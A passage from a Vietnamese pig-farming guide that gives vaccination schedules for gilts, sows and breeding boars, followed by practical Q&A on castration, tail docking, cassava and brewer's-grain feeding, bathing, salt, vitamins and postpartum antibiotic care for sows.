     Tùy theo tình hình dịch tễ tại trại và địa phương mà ta có thể tiêm thêm các loại vaccine phòng bệnh suyễn, còi cọc, giả dại và bệnh lở mồm long móng cho lợn (như lợn siêu nạc ở trên).

    

  1. Phòng bệnh cho lợn nái hậu bị

     Lợn nái hậu bị từ 6 tháng tuổi đến trước khi phối giống 2 tuần (>8 tháng tuổi) cần được tiêm đầy đủ các loại vaccine như sau:

Tuần tuổi trước phối Vaccine Tuần tuổi Vaccine
8 Khô thai 1 5 PED 1
7 Giả dại 1 4 LMLM (DMD)
6 Khô thai 2 3 PED 2
5 Giả dại 2 + Circo 2 Suyễn + Dịch tả

 

 

 

  1. Chương trình Vaccine cho Lợn nái đẻ:
Tuần tuổi Vaccine Tuần tuổi Vaccine
Trước đẻ 5 tuần Giả dại Trước đẻ 2 tuần Dịch tả
Trước đẻ 4 tuần LMLM (FMD)
Trước đẻ 3 tuần E.coli Sau đẻ 2 tuần Khô Thai

 

Đối với Nái mang thai lứa đầu cần được tiêm 2 mũi E.coli (lúc trước đẻ 6 tuần và 3 tuần tuổi); Vaccine PED và Tai xanh (PRRS) cần tiêm định kỳ cho toàn bộ đàn nái 2 lần/năm

  1. Chương trình Vaccine cho Lợn đực giống:

Định kỳ 4-6 tháng tiêm các loại vaccine: Dịch tả, Tai xanh (PRRS), LMLM (FMD), Giả dại, Lepto, Đóng dấu

V. Tóm tắt một số kinh nghiệm trong chăn nuôi lợn

  1. Thiến lợn có giúp cho lợn chóng lớn? Nên thiến vào thời đểm nào?

     Thiến lợn là một biện pháp giúp lợn mau lớn, vì lợn thiến sẽ thuần hơn, ít vận động và dễ dàng phát triển toàn bộ cơ thịt. Ngoài ra lợn thiến sẽ ít cắn nhau và đỡ phá phách, chuồng nuôi được yên tĩnh và lợn sẽ ngủ nhiều mau lớn.

Nên thiến cho lợn đực vào thời điểm 1-3 ngày tuổi là tốt nhất vì thiến lúc này lợn ít chảy máu, không cần khâu và lợn con bú 100% sữa mẹ sẽ giúp nhanh hồi phục vết mổ.

Đối với lợn cái siêu nạc không cần thiến vì khi xuất chuồng 90-100 kg mới động dục. Đối với lợn F và lợn nội động dục ở giai đoạn 50-60kg. Nếu xuất chuồng ở khối lượng này thì không cần thiến. Nuôi to hơn thì cần thiến, vì không thiến lợn chậm lớn do bỏ ăn trong những ngày động đực.

  1. Có cần cắt đuôi cho lợn không? Biện pháp này có tác dụng gì?

     Ở một số cơ sở chăn nuôi lớn có sử dụng biện pháp cắt đuôi vì lợn con sau khi tách mẹ, lợn con thường phản xạ mút, lợn sẽ mút đuôi nhau gây tổn thương. Mặt khác lợn thường tranh ăn, cắn đuôi nhau gây nhiễm trùng làm lợn bị chết.

Nếu nuôi với mật độ thưa và ít 10-15 con/chuồng trở xuống thì không nhất thiết phải cắt đuôi.

  1. Ở các tỉnh miền trung và miền núi, nguyên liệu phối trộn thức ăn đậm đặc chủ yếu là sắn, cho lợn ăn bao nhiêu thì không ngộ độc?

     Nếu dùng sắn tươi phải bỏ vỏ và ngâm nước trong 24 giờ. Trong thời gian ngâm cứ 12 giờ thay nước một lần để loại bỏ độc chất HCN. Nếu dùng sắn tươi thì chỉ nên dùng 8-10%. Đối với sắn khô, nếu dùng tỷ lệ cao hơn 35% thì cũng nên ngâm nước trước khi dùng.

Đối với lợn nái chửa và đẻ chỉ nên dùng tỷ lệ sắn trong khẩu phần 8-10%, để tránh thai khô, thai chết và ỉa chảy cho đàn con. Nếu lợn bị ngộ độc sắn cho uống nước đường gluco để giải độc.

 

  1. Nếu sử dụng bã rượu, bia nguyên chất có tốt không? có cần phối hợp thêm đậm đặc?

     Bã rượu bia thực sự không phải là chất dinh dưỡng lý tưởng. Độ đạm của bã rượu là 2,7 – 3,5%, như vậy thành phần dinh dưỡng của bã rượu ở dạng ướt là rất thấp. Tuy nhiên trong bã rượu bia có nhiều vitamin và men tiêu hóa.

Nên dùng bã rượu bia làm chất đệm để bổ sung thêm ngô, cám gạo và thức ăn đậm đặc. Hoặc có thể dùng bã rượu phối trộn với thức ăn hỗn hợp: 1kg hỗn hợp + 2 bát bã rượu + nước vừa đủ.

  1. Dùng cám hỗn hợp cho ăn sống, nấu chín, ăn lỏng, ăn khô. Phương pháp nào tiện lợi mà mau lớn?

Dùng cám hỗn hợp cho lợn ăn ướt hoặc khô, không phải nấu chín. Nếu nuôi ít lợn, ta có thể trộn cám thành dạng sệt hoặc lỏng cho lợn ăn. Phương pháp này tránh được bụi vào đường hô hấp lợn. Nhưng nếu thức ăn thừa thì chóng chua, hỏng, lãng phí. Mặt khác khi cho ăn lòng rất tốn công cho lợn ăn.

Nuôi từ 10 con trở lên thì tập cho lợn ăn khô, nhưng phải chú ý đủ nước uống cho lợn. Một ngày cho ăn 2-3 lần. Khi cho ăn thức ăn khô có thể dùng máng ăn, máng uống tự động.

  1. Có cần cho lợn ăn đúng giờ không?

     Tốt nhất là cho lợn ăn đúng giờ theo bữa. Ăn theo bữa và đúng giờ có tác dụng kích thích tiêu hóa và tạo tính thèm ăn cho lợn.

Hàng ngày cho lợn ăn 3 bữa: sáng 7-8 giờ, trưa 11-12 giờ, chiều 4-5 giờ. Nếu nuôi ít đầu lợn chó thể cho ăn thêm bữa 9-10 giờ tối, lợn sẽ mau lớn.

  1. Tắm cho lợn có lợi ích gì? Mỗi ngày nên tăm cho lợn mấy lần?

     Tắm cho lợn có lợi ích: giữ cho lợn được sạch sẽ, kích thích lợn hoạt động, gây cảm giác dễ chịu. Vào thời điểm thời tiết nóng, mỗi ngày nên tắm cho lợn 1-2 lần lúc 9-10 giờ sáng hoặc vào 15-16 giờ chiều.

Lợn thịt nuôi trên sàn bê tông người ta có làm bồn tắm cạnh lối thoát nước có thể cho lợn tắm tự do để giảm nhiệt. Lợn nuôi trên sàn sạch, có quạt mát thì không cần tắm.

  1. Có cần bổ sung muối ăn hàng ngày cho lợn ăn không?

     Thức ăn hỗn hợp ăn thẳng thì không cần bổ sung muối ăn.

Nếu phối trộn từ bã rượu, tấm thì bổ sung thêm 1/2 thìa nhỏ cho 50 kg lợn là đủ. Muối ăn (NaCl) rất cần thiết cho lợn. Các ion Na và CL tham gia các hoạt động thần kinh, hoạt động cơ và chuyển hóa thức ăn. Thiếu muối lợn ủ rũ, chậm lớn, sản phẩm thịt lợn nhão, không săn đỏ.

  1. Tiêm vitamin A,D,E cho lợn có tác dụng gì? Liều lượng bao nhiêu và vào thời gian nào?

     Tiêm vitamin ADE cho lợn thịt để kích thích tăng trưởng, tạo xương, phát triển cơ bắp, lợn được tiêm ADE sẽ hồng hào, mượt lông, chống còi cọc.

Đặc biệt vitamin ADE rất cần cho lợn nái mang thai và nuôi con, giúp lợn bù đắp lượng vitamin thiếu hụt khi mang thai và giúp lợn nái sớm động dục trở lại khi cai sữa.

  1. Có nên tiêm thuốc kháng sinh cho lợn nái

     Khi lợn nái bị bệnh thì nhất thiết phải tiêm kháng sinh để điều trị, cần lựa chọn những loại kháng sinh không ảnh hưởng tới thai và khả năng tiết sữa của lợn mẹ. Lợn nái sau đẻ thường bị viêm nhiễm trùng, đặc biệt là trong những lứa đẻ đầu, lợn nái thường bị rách âm đạo, nên bị viêm nhẹ gây sốt nóng làm giảm sữa. Trường hợp đẻ khó phải can thiệp bằng tay thì 100% lợn nái vị viêm tử cung. Vì vậy ngay khi lợn nái đẻ xong cần phòng ngay bằng kháng sinh không ảnh hưởng tới tiết sữa như Tcrramycin LA 10ml/nái/liều duy nhất. Tylan – 50 hoặc Suanavil-5 tiêm 1 ml/nái/ngày, tiêm 3 ngày liên tục. Tiêm thêm Oxytocin 2ml/nái/ngày kết hợp với ADE 10 ml/nái/ngày, tiêm liên tục 3 ngày.

Rửa đường sinh dục bằng thuốc tím 1/1000, sau đó thụt kháng sinh 2 triệu UI Penicillin trong 20-40 ml nước cất, liên tục trong 2 ngày. Chú ý làm vệ sính sạch sẽ cho lợn và vô trùng dụng cụ trước khi thụt rửa.

0
Connecting
Please wait...
Send a message

Sorry, we aren't online at the moment. Leave a message.

Your name
* Email
* Describe your issue
Login now

Need more help? Save time by starting your support request online.

Your name
* Email
* Describe your issue
We're online!
Feedback

Help us help you better! Feel free to leave us any additional feedback.

How do you rate our support?